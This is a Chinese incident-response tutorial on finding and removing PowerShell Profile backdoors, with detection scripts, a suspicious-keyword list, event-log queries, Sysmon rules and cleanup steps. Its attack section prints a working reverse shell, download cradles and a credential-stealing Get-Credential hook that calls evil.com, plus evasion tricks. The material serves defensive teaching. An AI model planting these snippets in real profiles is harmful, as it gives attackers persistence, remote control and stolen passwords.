Windows应急响应 - 26 PowerShell-Profile后门

PowerShell Profile后门排查

本篇详细讲解PowerShell Profile机制的滥用,攻击者通过修改Profile文件实现每次PowerShell启动时自动执行恶意代码

Profile后门隐蔽性强,因为用户启动PowerShell时不会显式提示Profile已加载

相关参考: 10-PowerShell日志与脚本分析, 18-Bashrc与Profile后门

一、PowerShell Profile机制详解

1.1 Profile概述

PowerShell Profile是一个在每次启动PowerShell时自动执行的脚本文件

类似Linux中的.bashrc.bash_profile,参见 18-Bashrc与Profile后门

Profile用于自定义环境:设置别名(Alias)、加载模块(Module)、定义函数

攻击者利用这一机制,将恶意代码注入Profile文件,实现持久化

1.2 四种Profile路径

PowerShell定义了四个Profile作用域,按优先级从高到低:

CurrentUserCurrentHost - 当前用户 + 当前宿主程序

变量: $PROFILE$PROFILE.CurrentUserCurrentHost

最常被攻击者利用,因为不需要管理员权限

CurrentUserAllHosts - 当前用户 + 所有宿主程序

变量: $PROFILE.CurrentUserAllHosts

对当前用户的所有PowerShell宿主(Console、ISE、VSCode等)生效

AllUsersCurrentHost - 所有用户 + 当前宿主程序

变量: $PROFILE.AllUsersCurrentHost

需要管理员权限修改

AllUsersAllHosts - 所有用户 + 所有宿主程序

变量: $PROFILE.AllUsersAllHosts

影响范围最大,需要管理员权限

1.3 实际磁盘路径 - PowerShell 5.1 (Windows PowerShell)

CurrentUserCurrentHost:

1
C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

CurrentUserAllHosts:

1
C:\Users\<用户名>\Documents\WindowsPowerShell\profile.ps1

AllUsersCurrentHost:

1
C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1

AllUsersAllHosts:

1
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1

ISE宿主的Profile路径(将Microsoft.PowerShell替换为Microsoft.PowerShellISE):

1
C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

1.4 实际磁盘路径 - PowerShell 7+ (pwsh)

PowerShell 7使用不同的目录名PowerShell(而非WindowsPowerShell)

CurrentUserCurrentHost:

1
C:\Users\<用户名>\Documents\PowerShell\Microsoft.PowerShell_profile.ps1

CurrentUserAllHosts:

1
C:\Users\<用户名>\Documents\PowerShell\profile.ps1

AllUsersCurrentHost:

1
C:\Program Files\PowerShell\7\Microsoft.PowerShell_profile.ps1

AllUsersAllHosts:

1
C:\Program Files\PowerShell\7\profile.ps1

注意: PowerShell 5.1和7+的Profile是完全独立的,修改一个不影响另一个

1.5 查看所有Profile路径

列出当前环境的所有Profile路径:

1
2
3
4
5
6
7
8
# 查看默认Profile路径
$PROFILE | Format-List -Force

# 逐个显示
Write-Host "CurrentUserCurrentHost: $($PROFILE.CurrentUserCurrentHost)"
Write-Host "CurrentUserAllHosts: $($PROFILE.CurrentUserAllHosts)"
Write-Host "AllUsersCurrentHost: $($PROFILE.AllUsersCurrentHost)"
Write-Host "AllUsersAllHosts: $($PROFILE.AllUsersAllHosts)"

检查哪些Profile文件实际存在:

1
2
3
4
5
6
7
8
9
$PROFILE.PSObject.Properties | ForEach-Object {
$path = $_.Value
$exists = Test-Path $path
[PSCustomObject]@{
Scope = $_.Name
Path = $path
Exists = $exists
}
} | Format-Table -AutoSize

二、Profile后门攻击手法

2.1 基础后门 - 反向Shell

攻击者在Profile中添加反向Shell代码:

1
2
3
4
5
6
7
8
9
10
11
12
# 被注入到Profile文件中的恶意代码示例
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()

该后门在用户每次打开PowerShell时触发

2.2 Download Cradle (下载执行框架)

更隐蔽的方式:Profile仅包含一行下载执行代码

1
2
# 一行式下载执行 - 注入到Profile末尾
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

变体 - 使用Invoke-WebRequest:

1
IEX (iwr http://evil.com/stager.ps1 -UseBasicParsing).Content

变体 - Base64编码绕过:

1
2
3
# 将恶意代码Base64编码后写入Profile
$encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdA..."
powershell -EncodedCommand $encoded

变体 - 利用DNS TXT记录:

1
2
3
4
5
IEX ([System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String(
(Resolve-DnsName -Name payload.evil.com -Type TXT).Strings
)
))

2.3 信息收集型后门

键盘记录器注入Profile:

1
2
3
4
5
6
7
8
9
10
11
# 简化的键盘记录示例 - 注入到Profile
$logFile = "$env:TEMP\keylog.txt"
$listener = {
Add-Type -AssemblyName System.Windows.Forms
$hookProc = [System.Windows.Forms.Keys]
# 启动键盘钩子线程(简化示意)
Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action {
Get-Content $logFile | Out-File "\\attacker\share\keys.txt"
}
}
Start-Job -ScriptBlock $listener | Out-Null

凭据窃取 - Hook Get-Credential:

1
2
3
4
5
6
7
8
9
10
11
12
# 重定义Get-Credential函数来窃取凭据
function Get-Credential {
param([string]$UserName)
$cred = Microsoft.PowerShell.Security\Get-Credential -UserName $UserName -Message "请输入凭据"
# 将窃取的凭据发送到C2
$body = @{
user = $cred.UserName
pass = $cred.GetNetworkCredential().Password
} | ConvertTo-Json
Invoke-RestMethod -Uri "http://evil.com/creds" -Method POST -Body $body -ErrorAction SilentlyContinue
return $cred # 返回原始凭据,用户无感知
}

2.4 命令劫持型后门

通过在Profile中定义同名函数来劫持常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 劫持whoami命令 - 用户执行whoami时同时向C2报告
function whoami {
$result = & "$env:SystemRoot\System32\whoami.exe" $args
# 静默上报
[System.Net.WebClient]::new().DownloadString(
"http://evil.com/beacon?host=$env:COMPUTERNAME&user=$result"
) | Out-Null
return $result
}

# 劫持ssh命令窃取连接信息
function ssh {
"$args" | Out-File "$env:TEMP\ssh_log.txt" -Append
& "C:\Windows\System32\OpenSSH\ssh.exe" $args
}

2.5 隐蔽注入技巧

攻击者通常不会直接写入明文恶意代码,常见隐蔽技巧:

在合法Profile内容中间插入空行后添加恶意代码

使用Unicode零宽字符混淆

将恶意代码追加到文件末尾,前面用大量空行隔开

使用变量拼接绕过关键词检测:

1
2
3
4
# 拆分关键词绕过检测
$a = "Ne"; $b = "w-Ob"; $c = "ject"
$d = "Net.We"; $e = "bCli"; $f = "ent"
$obj = & (Get-Command "$a$b$c") "$d$e$f"

三、检测Profile后门

3.1 逐一检查所有Profile文件

综合检查脚本 - 检查PowerShell 5.1和7+的所有Profile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 定义所有可能的Profile路径
$profilePaths = @(
# PowerShell 5.1 路径
"$env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1",
"$env:USERPROFILE\Documents\WindowsPowerShell\profile.ps1",
"$env:SystemRoot\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1",
"$env:SystemRoot\System32\WindowsPowerShell\v1.0\profile.ps1",
"$env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1",
# PowerShell 7+ 路径
"$env:USERPROFILE\Documents\PowerShell\Microsoft.PowerShell_profile.ps1",
"$env:USERPROFILE\Documents\PowerShell\profile.ps1",
"$env:ProgramFiles\PowerShell\7\Microsoft.PowerShell_profile.ps1",
"$env:ProgramFiles\PowerShell\7\profile.ps1"
)

foreach ($path in $profilePaths) {
if (Test-Path $path) {
Write-Host "[!] Profile文件存在: $path" -ForegroundColor Yellow
Write-Host " 大小: $((Get-Item $path).Length) bytes"
Write-Host " 最后修改: $((Get-Item $path).LastWriteTime)"
Write-Host " 内容预览:"
Get-Content $path | Select-Object -First 20
Write-Host "---"
}
}

对所有用户进行批量检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查所有用户的Profile
Get-ChildItem "C:\Users" -Directory | ForEach-Object {
$userDir = $_.FullName
$paths = @(
"$userDir\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1",
"$userDir\Documents\WindowsPowerShell\profile.ps1",
"$userDir\Documents\PowerShell\Microsoft.PowerShell_profile.ps1",
"$userDir\Documents\PowerShell\profile.ps1"
)
foreach ($p in $paths) {
if (Test-Path $p) {
Write-Host "[FOUND] $p" -ForegroundColor Red
Write-Host " Modified: $((Get-Item $p).LastWriteTime)"
Write-Host " SHA256: $((Get-FileHash $p).Hash)"
}
}
}

3.2 可疑关键词检测

在Profile文件内容中搜索恶意指标:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$suspiciousPatterns = @(
'Net\.WebClient',
'DownloadString',
'DownloadFile',
'Invoke-WebRequest',
'Invoke-RestMethod',
'IEX\s',
'Invoke-Expression',
'TCPClient',
'System\.Net\.Sockets',
'Start-Process.*-WindowStyle\s+Hidden',
'EncodedCommand',
'FromBase64String',
'Reflection\.Assembly',
'Add-Type.*DllImport',
'VirtualAlloc',
'CreateThread',
'shellcode',
'-enc\s',
'bypass',
'hidden'
)

$profilePaths | Where-Object { Test-Path $_ } | ForEach-Object {
$file = $_
$content = Get-Content $file -Raw
foreach ($pattern in $suspiciousPatterns) {
if ($content -match $pattern) {
Write-Host "[ALERT] 可疑模式 '$pattern' 在: $file" -ForegroundColor Red
}
}
}

3.3 Script Block Logging (Event 4104)分析

Profile执行会被Script Block Logging捕获,详见 10-PowerShell日志与脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
# 查询4104事件中与Profile相关的记录
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
Id = 4104
} -MaxEvents 1000 | Where-Object {
$_.Message -match 'profile\.ps1|_profile\.ps1'
} | ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Message = $_.Message.Substring(0, [Math]::Min(200, $_.Message.Length))
}
} | Format-Table -Wrap

确认Script Block Logging已启用:

1
2
3
4
5
6
7
# 检查Script Block Logging注册表配置
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (Test-Path $regPath) {
Get-ItemProperty $regPath
} else {
Write-Host "[WARN] Script Block Logging未通过GPO配置" -ForegroundColor Yellow
}

3.4 文件Hash对比

对Profile文件进行Hash记录和对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 生成当前所有Profile的Hash基线
$baseline = @{}
$profilePaths | Where-Object { Test-Path $_ } | ForEach-Object {
$baseline[$_] = (Get-FileHash $_ -Algorithm SHA256).Hash
}
$baseline | ConvertTo-Json | Out-File "C:\IR\profile_baseline.json"

# 后续对比
$saved = Get-Content "C:\IR\profile_baseline.json" | ConvertFrom-Json
$saved.PSObject.Properties | ForEach-Object {
$path = $_.Name
$oldHash = $_.Value
if (Test-Path $path) {
$newHash = (Get-FileHash $path -Algorithm SHA256).Hash
if ($newHash -ne $oldHash) {
Write-Host "[CHANGED] $path" -ForegroundColor Red
Write-Host " 旧Hash: $oldHash"
Write-Host " 新Hash: $newHash"
}
}
}

3.5 Sysmon监控Profile修改

配置Sysmon规则监控Profile文件的创建和修改:

1
2
3
4
5
6
7
<!-- Sysmon配置 - 监控Profile文件修改 -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">WindowsPowerShell\Microsoft.PowerShell_profile.ps1</TargetFilename>
<TargetFilename condition="contains">WindowsPowerShell\profile.ps1</TargetFilename>
<TargetFilename condition="contains">PowerShell\Microsoft.PowerShell_profile.ps1</TargetFilename>
<TargetFilename condition="contains">PowerShell\profile.ps1</TargetFilename>
</FileCreate>

四、应急响应处置

4.1 确认后门内容

完整读取可疑Profile文件内容:

1
2
3
4
5
6
7
8
9
# 备份原始文件用于取证
$backupDir = "C:\IR\Evidence\Profiles"
New-Item -Path $backupDir -ItemType Directory -Force

$profilePaths | Where-Object { Test-Path $_ } | ForEach-Object {
$dest = Join-Path $backupDir ($_ -replace '[:\\]', '_')
Copy-Item $_ $dest
Write-Host "已备份: $_ -> $dest"
}

4.2 清除恶意内容

如果Profile中混合了合法和恶意内容,仅删除恶意部分

如果整个Profile是攻击者创建的,直接删除:

1
2
3
4
5
# 删除恶意Profile文件
Remove-Item "C:\Users\compromised_user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Force

# 或者清空内容
Set-Content $PROFILE -Value "" -Force

4.3 预防措施

使用-NoProfile参数启动PowerShell以跳过Profile加载:

1
powershell.exe -NoProfile -ExecutionPolicy Bypass

对Profile路径设置文件完整性监控(FIM)

通过GPO限制Profile文件的修改权限

启用Script Block Logging和Module Logging

4.4 关联排查

Profile后门通常是攻击链中的一环,需要关联排查:

检查Profile修改的时间线,与其他持久化机制交叉对比

查看同一时间段的登录事件(4624/4625)

分析C2通信记录(网络日志)

参考 10-PowerShell日志与脚本分析 进行深入的脚本日志分析

五、MITRE ATT&CK映射

技术ID 名称 说明
T1546.013 Event Triggered Execution: PowerShell Profile Profile自动执行机制滥用
T1059.001 Command and Scripting Interpreter: PowerShell PowerShell脚本执行
T1547.001 Boot or Logon Autostart: Registry Run Keys 部分Profile机制依赖注册表

Profile后门是T1546.013的典型实现,在ATT&CK框架中属于Persistence和Privilege Escalation战术

六、总结

PowerShell Profile后门的关键排查要点:

检查范围: 必须覆盖PowerShell 5.1和7+的全部8+个Profile路径

检查所有用户: 不仅检查当前用户,还要遍历所有用户目录

内容分析: 搜索DownloadString、IEX、TCPClient等高危关键词

日志验证: 通过Event 4104 Script Block Log确认Profile执行内容

防御配置: 启用Script Block Logging + 文件完整性监控

与Linux环境中的bashrc/profile后门原理相同,排查思路一致: 18-Bashrc与Profile后门


上一章 目录 下一章
25-IFEO与AppInit-DLLs后门 Windows应急响应 27-辅助功能后门